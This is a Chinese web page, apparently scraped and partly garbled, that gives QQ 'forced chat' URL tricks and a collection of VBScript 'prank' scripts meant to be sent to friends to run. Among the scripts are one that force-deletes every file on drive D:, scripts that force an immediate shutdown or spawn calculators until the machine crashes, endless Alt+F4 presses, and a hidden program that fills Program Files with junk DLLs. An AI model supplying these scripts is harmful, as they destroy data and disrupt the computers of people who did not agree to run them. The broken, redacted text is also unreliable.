关于 *** 强制聊天代码

代码 ：http://wpa.qq.com/msgrd?V=1Uin=********Site=ioshenmueMenu=yes

使用 *** ：把代码中的“********”星号换成你想与其聊天的 *** 号后复制到浏览器的地址栏处即可。无论他是否你的好友，你无须加他为好友就能给他发 *** 消息。

qq即时聊天代码

正解

*** 举例：

a target=blank href=tencent://message/?uin=8888888Site=www.taobao.comMenu=yesimg border="0" SRC=http://wpa.qq.com/pa?p=1:这里填上你的 *** :1 alt="点击这里给我发消息"/a

我要 *** 聊天的恶搞代码

首先你在要建一个文本文档（在桌面点右键

新建

文本文档）把下面的你想要的代码复制

到文本文档

好

保存

把名字

txt

改成

vbs

就

OK

vbs

整人代码大 ***

一、

你打开好友的聊天对话框

然后记下在你

***

里好友的昵称

把下面代码里的

xx

替换一下

就可以自定义发送

***

信息到好友的次数

代码里的数字

10

改一下即可

xx.vbs=

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("

与

xx

聊天中

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

***

骚扰信息

也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

do

msgbox "You are foolish!"

loop

三、打开无数个计算器，直到死机

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

四、直接关机

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

五、删除

D:\

所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

六、不断弹出窗口

while(1)

msgbox "

哈哈

你被耍了！

loop

七、不断按下

alt+f4

（开什么都关闭„„）

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

八、按

500

次回车

以上代码在运行者的电脑上显示

500

个对话框。其中

do until s=500

500

可以随意更改

dim s

do until s=500

s=s+1

msgbox "

哥们，给我按

500

次回车吧

",64

loop

九、关不掉的窗口

WScript.Echo("

嘿，谢谢你打开我哦，我等你很久

拉！

"TSName)

WScript.Echo("

你是可爱的小朋吗

WScript.Echo("

哈

我想你拉，这你都不知道吗？

[color=#FF0000]

复制以这个代码，在桌面建一个文本，把代码放进去，另存为

VBS

格式，

此代码的威力：

1

：开机就强制自动关机

2

cmd

命令打不开

3

：结束任务不管用

4

F8

安全模式也不管用

呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、

代码破解 *** ：就是再运行一次，就可以破解了，也就是第

2

次保存的那个

VBE

文件，

PS

：不要乱拿软件去整人，发生什么事可不要怪我啊。

拍拍手

顶起吧！

恐怖啊

整人

小心用

Private Sub Form_Load()

Me.Hide

End Sub

Private Sub Timer1_Timer()

声明变量，其中“

count

”为静态变量，以便生成不同的文件

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"

生成文件的内容

nr = "

哈哈，被黑的感觉的不错吧

files = FreeFile

如果

a

等于

a

那么就执行

If a = a Then

'count

不断的加

1

，以便产生不同的文件名

count = count + 1

产生文件名及文件句柄，并用

count

作为产生不同的文件名。

Open c "system" count ".dll" For Append As #files

向文件写内容

Write #files, nr

清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示

Close #files

End If

End Sub

qq强制聊天代码原理

1. *** 强制聊天代码，把代码中的“********”星号换成想与其聊天的 *** 号即可。

代码如下：http://wpa.qq.com/msgrd?V=1amp;Uin=********amp;Site=ioshenmueMenu=yes

使用 *** ：把代码中星号换成想与其聊天的 *** 号后复制到浏览器的地址栏处即可。无论他是否是好友，无须加好友就能给对方发 *** 消息。

2.

之一步：在电脑桌面上点击右键，选择“新建”→“记事本”，然后在其中输入以下代码：

ON ERROR RESUME NEXT

Dim *** _NUM

if Wscript.arguments.count1 then

*** _NUM=InputBox(""vbCrvbCr" *** 强行聊天器"vbCrvbCr""," *** 强行聊天器VBS实现","输入你想要聊天的 *** 号码，如：123456789")

if *** _NUM="" then

Wscript_.quit

end if

else

V *** _NUM = Wscript.arguments.Item(0)

end if

set ws=wscript.createobject("wscript.shell")

ws.run "http://wpa.qq.com/msgrd?V=1Uin="+ *** _NUM+"Site=ioshenmueMenu=yes",0

第二步：当输入完毕之后，点击“文件”，然后选择“另存为”，选择保存名字为“ *** 强行聊天器VBS实现.vbs”（不外加引号）。保存类型为“所有文件”。这时在保存的地方双击打开这个文件，就可以在输入的对话框中输入任意 *** 聊天了。前提是在本机上已经打开 *** 了。

说明：上面是一段VBS代码具体意思如下：

ON ERROR RESUME NEXT 如果程序发生错误继续执行

Dim *** _NUM 定义变量

inputbox 界面中默认显示内容，大家可以修改

对话框内容 if *** _NUM="" then 检测用户的输入是否为空，如果为空

Wscript_.quit 退出脚本

3.tencent://Message/?Menu=YESUin=此处替换为您的qq号码websiteName=im.qq.com

把上面那个写入要聊天的 *** 号,就是=和之间,那些字是没有的.然后复制到地址栏,确定就行了.不用打开任何网页.

4.tencent://Message/?Menu=YESUin=此处替换为自己的qq号码websiteName=im.qq.com

把上面那个写入你要聊天的 *** 号,就是=和之间,那些字是没有的.然后复制到地址栏,确定就行了.不用打开任何网页.

5.有个小技巧,在地址栏输入 “ wpa.qq.com/msgrd?Uin=加明星的 *** 号 ”就能和对方聊天啦!以上 *** 大多数是加不上好友的!

要一个 *** 强行聊天的代码

tencent://Message/?Menu=YESUin=此处替换为您的qq号码websiteName=im.qq.com

把上面那个写入你要聊天的 *** 号,就是=和之间,那些字是没有的.然后复制到地址栏,确定就行了.不用打开任何网页.

手机 *** 的整人代码大全

之一步，将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）

如果谁运行了这个 *** 炸弹，在30秒后会自动关机。

下面说一下使用 *** ：

最简单的使用 *** 是，你直接发给好友，让他运行，然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊！")

WScript.Echo("推荐你来的肯定是个坏蛋！")

WScript.Echo("欢迎来到被整软件站！")

WScript.Echo("是谁设计的？")

WScript.Echo("Is me")

WScript.Echo("你好，你要点30次确定哦！")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

qq强制聊天代码

首先你要确定你的 *** 是2008及以下版本.

其二推荐使用官方版本.因为一些修改版本关闭了TMPlatform.exe

*** 强制会话主要依靠这个进程.

修复以上问题后访问

http://baidugoogle.net/q即可

或者直接输入对方qq号也可.如需和 *** 号为123456的用户对话.

直接在浏览器输入

http://baidugoogle.net/q/123456 即可